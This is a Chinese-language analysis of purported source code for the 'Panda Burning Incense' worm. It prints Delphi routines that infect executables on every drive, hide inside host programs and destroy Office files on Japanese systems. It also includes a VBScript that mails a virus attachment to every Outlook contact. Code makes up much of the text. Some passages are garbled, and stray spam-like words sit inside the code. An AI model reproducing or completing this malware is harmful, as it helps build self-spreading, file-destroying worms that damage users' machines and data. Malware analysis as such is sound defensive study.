(一) 主程序段分析
原“熊猫烧香”病毒“源码”主程序段代码如下所示:
{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), '') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7
InfectFiles; //感染和发邮件
end;
end.
对于代码:
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用Jeffrey Richter所著《Windows 95 Windows NT 3.5
高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线来
注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,
Explorer(注:Windows资源管理器的名字也是,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象法再使用Windows了。
另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。 因此,上面代码中从n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。 接下来,
让我们入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。 (二) 具体感染文件的过程这个子过程的源码如下所示:
{遍历磁盘上所有的文件并实际感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //
日文操作系统。函数GetACP用于检索系统所用语言
IsJap := True; //吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单术之一
end;
end;{ === InfectFiles }
这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电邮件信息。其目的是:取得重要邮箱地址及相应密码,
然后向这些邮件地址发带毒的,从而达到利用网络传播自身的目的。下面是从网
上摘录的一段VBScript脚本:
Set objOA=Wscript.CreateObject("Outlook.Application")
'创建一个OUTLOOK应用的对象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空间
For i=1 to objMapi.AddressLists.Count
'遍历地址簿
Set objAddList=objMapi.AddressLists(i)
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem (0)
objMail.Recipients.Add (objAddList. AddressEntries (j))
'取得收件人邮件地址
objMail.Subject="
你好!"
'设置邮件主题
objMail.Body="这次给你的附件,是我的新文档!"
'设置信件内容
objMail.Attachments.Add(“c:virus.vbs")
'把自己作为附件扩散出去
objMail.Send
'发送邮件
Next
Next
Set objMapi=Nothing
Set objOA=Nothing
注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于:
objMail.Attachments.Add(“c:virus.vbs")
在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!
(三) LoopFiles子过程分析
这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片
断:
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string); var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是否是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址源代码1080p在线
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论